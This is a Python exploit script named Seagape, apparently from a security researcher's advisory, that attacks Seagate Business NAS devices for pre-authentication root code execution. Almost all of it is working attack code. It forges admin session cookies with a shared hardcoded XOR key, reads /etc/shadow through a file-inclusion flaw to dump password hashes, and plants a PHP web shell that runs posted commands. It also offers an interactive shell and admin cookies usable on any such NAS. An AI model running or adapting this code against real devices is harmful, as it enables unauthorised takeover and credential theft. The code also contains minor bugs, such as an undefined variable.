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#!/usr/bin/env python
#
# Seagape
# =======
# Seagate Business NAS pre-authentication remote code execution
# exploit as root user.
#
# by OJ Reeves (@TheColonial) - for full details please see
# https://beyondbinary.io/advisory/seagate-nas-rce/
#
# Usage
# =====
# seagape.py <ip> <port> [-c [ua]]
#
# - ip : ip or host name of the target NAS
# - port : port of the admin web ui
# - -c : (optional) create a cookie which will give admin access.
# Not specifying this flag results in webshell installation.
# - ua : (optional) the user agent used by the browser for the
# admin session (UA must match the target browser).
# Default value is listed below
#
# Example
# =======
# Install and interact with the web shell:
# seagape.py 192.168.0.1 80
#
# Create admin cookie
# seagape.py 192.168.0.1 80 -c
import base64
import hashlib
import itertools
import os
import re
import socket
import sys
import urllib
import urllib2
import uuid
import xml.sax.saxutils
if len(sys.argv) < 3:
print "Usage: {0} <ip> <port> [-c [user agent]]".format(sys.argv[0])
sys.exit(1)
# Every Seagate nas has the same XOR key. Great.
XOR_KEY = '0f0a000d02011f0248000d290d0b0b0e03010e07'
# This is the User agent we'll use for most of the requests
DEFAULT_UA = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10'
# This is the description we're going to be reading from
LFI_FILE = '/etc/devicedesc'
# the base globals that will hold our state
host = sys.argv[1]
port = int(sys.argv[2])
cis = ''
hostname = ''
webshell = str(uuid.uuid1()) + ".php"
def chunks(s, n):
for i in xrange(0, len(s), n):
yield s[i:i + n]
def forward_interleave(a, b):
return ''.join(itertools.chain(*zip(itertools.cycle(a), b)))
def xor(s, k):
return ''.join(chr(ord(a) ^ ord(b)) for a, b in itertools.izip(s, itertools.cycle(k)))
def sha1(s):
return hashlib.sha1(s).hexdigest()
def decode(s):
f = xor(s, XOR_KEY)
return ''.join(chr(ord(a) ^ ord(b)) for a, b in chunks(f, 2))
def encode(s):
s = forward_interleave(sha1(s), s)
s = ''.join(a + chr(ord(a) ^ ord(b)) for a, b in chunks(s, 2))
return xor(s, XOR_KEY)
def make_request(uri = "/", ci_session = None, headers = None, post_data = None):
method = 'GET'
if not headers:
headers = {}
headers['Host'] = host
if 'User-Agent' not in headers:
headers['User-Agent'] = DEFAULT_UA
if 'Accept' not in headers:
headers['Accept'] = 'text/html'
if post_data:
method = 'POST'
post_data = urllib.urlencode(post_data)
headers['Content-Type'] = 'application/x-www-form-urlencoded'
if ci_session:
ci_session = urllib.quote(base64.b64encode(encode(ci_session)))
headers['Cookie'] = 'ci_session={0}'.format(ci_session)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
http = ""
http += "{0} {1} HTTP/1.1\r\n".format(method, uri)
for h in headers:
http += "{0}: {1}\r\n".format(h, headers[h])
if post_data:
http += "Content-Length: {0}\r\n".format(len(post_data))
http += "\r\n"
if post_data:
http += post_data
s.send(http)
result = ""
while True:
data = s.recv(1024)
if not data:
break
result += data
s.close()
return result
def get_ci_session():
resp = make_request()
for l in resp.split("\r\n"):
m = re.findall("Set-Cookie: ([a-zA-Z0-9_\-]+)=([a-zA-Z0-9\+%=/]+);", l)
for name, value in m:
if name == 'ci_session' and len(value) > 40:
return decode(base64.b64decode(urllib.unquote(value)))
print "Unable to establish session with {0}".format(host)
sys.exit(1)
def add_string(ci_session, key, value):
prefix = 's:{0}:"{1}";s:'.format(len(key), key)
if prefix in ci_session:
ci_session = re.sub(r'{0}\d+:"[^"]*"'.format(prefix), '{0}{1}:"{2}"'.format(prefix, len(value), value), ci_session)
else:
# doesn't exist, so we need to add it to the start and the end.
count = int(ci_session.split(':')[1]) + 1
ci_session = re.sub(r'a:\d+(.*)}$', r'a:{0}\1{1}{2}:"{3}";}}'.format(count, prefix, len(value), value), ci_session)
return ci_session
def set_admin(ci_session):
return add_string(ci_session, "is_admin", "yes")
def set_language(ci_session, lang):
return add_string(ci_session, "language", lang)
def include_file(ci_session, file_path):
if file_path[0] == '/':
file_path = '../../../../../..' + file_path
return set_language(ci_session, file_path + "\x00")
def read_file(file_path, post_data = None):
resp = make_request(ci_session = include_file(cis, file_path), headers = {}, post_data = post_data)
return resp
def hashdump():
shadow = read_file('/etc/shadow')
for l in shadow.split("\n"):
if l and ':!:' not in l and ':x:' not in l:
parts = l.split(':')
print "{0}:{1}".format(parts[0], parts[1])
def cmd(command):
headers = {
'Content-Type' : 'application/x-www-form-urlencoded',
'Accept' : '*/*',
'User-Agent' : DEFAULT_UA
}
post_data = urllib.urlencode({'c' : command})
headers['Content-Type'] = 'application/x-www-form-urlencoded'
ci_session = urllib.quote(base64.b64encode(encode(cis)))
headers['Cookie'] = 'ci_session={0}'.format(ci_session)
url = 'http://{0}:{1}/{2}'.format(host, port, webshell)
req = urllib2.Request(url, headers = headers, data = post_data)
return urllib2.urlopen(req).read()
def shell():
running = True
while running:
c = raw_input("Shell ({0}) $ ".format(post_id))
if c != 'quit' and c != 'exit':
cmd(c)
else:
running = False
def show_admin_cookie(user_agent):
ci_session = add_string(cis, 'is_admin', 'yes')
ci_session = add_string(ci_session, 'username', 'admin')
ci_session = add_string(ci_session, 'user_agent', user_agent)
ci_session = urllib.quote(base64.b64encode(encode(ci_session)))
print "Session cookies are bound to the browser's user agent."
print "Using user agent: " + user_agent
print "ci_session=" + ci_session
def show_version():
print "Firmware Version: {0}".format(get_firmware_version())
def show_cookie():
print cis
def show_help():
print ""
print "Seagape v1.0 -- Interactive Seagate NAS Webshell"
print " - OJ Reeves (@TheColonial) - https://beyondbinary.io/"
print " - https://beyondbinary.io/bbsec/001"
print "==========================================================================="
print "version - Print the current firmware version to screen."
print "dumpcookie - Print the current cookie to screen."
print "admincookie <ua> - Create an admin login cookie (ua == user agent string)."
print " Add to your browser and access ANY NAS box as admin."
print "help - Show this help."
print "exit / quit - Run for the hills."
print "<anything else> - Execute the command on the server."
print ""
def execute(user_input):
result = True
parts = user_input.split(' ')
c = parts[0]
if c == 'admincookie':
ua = DEFAULT_UA
if len(parts) > 1:
ua = ' '.join(parts[1:])
show_admin_cookie(ua)
elif c == 'dumpcookie':
show_cookie()
elif c == 'version':
show_version()
elif c == 'help':
show_help()
elif c == 'quit' or c == 'exit':
remove_shell()
result = False
else:
print cmd(user_input)
return result
def get_firmware_version():
resp = make_request("/index.php/mv_system/get_firmware?_=1413463189043",
ci_session = acis)
return resp.replace("\r", "").replace("\n", "").split("version")[1][1:-2]
def install_shell():
resp = make_request("/index.php/mv_system/get_general_setup?_=1413463189043",
ci_session = acis)
existing_setup = ''
for l in resp.split("\r\n"):
if 'general_setup' in l:
existing_setup = l
break
# generate the shell and its installer
exec_post = base64.b64encode("<?php if(isset($_POST['c'])&&!empty($_POST['c'])){system($_POST['c']);} ?>")
installer = '<?php file_put_contents(\'{0}\', base64_decode(\'{1}\')); ?>'.format(webshell, exec_post)
write_php = xml.sax.saxutils.quoteattr(installer)[1:-1]
start = existing_setup.index('" description="') + 15
end = existing_setup.index('"', start)
updated_setup = existing_setup[0:start] + write_php + existing_setup[end:]
# write the shell to the description
resp = make_request("/index.php/mv_system/set_general_setup?_=1413463189043",
ci_session = acis,
headers = { },
post_data = { 'general_setup' : updated_setup })
# invoke the installer
read_file(LFI_FILE)
# remove the installer
resp = make_request("/index.php/mv_system/set_general_setup?_=1413463189043",
ci_session = acis,
headers = { },
post_data = { 'general_setup' : existing_setup })
def remove_shell():
return cmd('rm -f {0}'.format(webshell))
print "Establishing session with {0} ...".format(host)
cis = get_ci_session()
if len(sys.argv) >= 4 and sys.argv[3] == '-c':
ua = DEFAULT_UA
if len(sys.argv) > 4:
ua = sys.argv[4]
show_admin_cookie(ua)
else:
print "Configuring administrative access ..."
acis = add_string(cis, 'is_admin', 'yes')
acis = add_string(acis, 'username', 'admin')
print "Installing web shell (takes a while) ..."
install_shell()
print "Extracting id and hostname ..."
identity = cmd('whoami').strip()
hostname = cmd('cat /etc/hostname').strip()
show_help()
running = True
while running:
try:
user_input = raw_input("Seagape ({0}@{1})> ".format(identity, hostname))
running = execute(user_input)
except:
print "Something went wrong. Try again."
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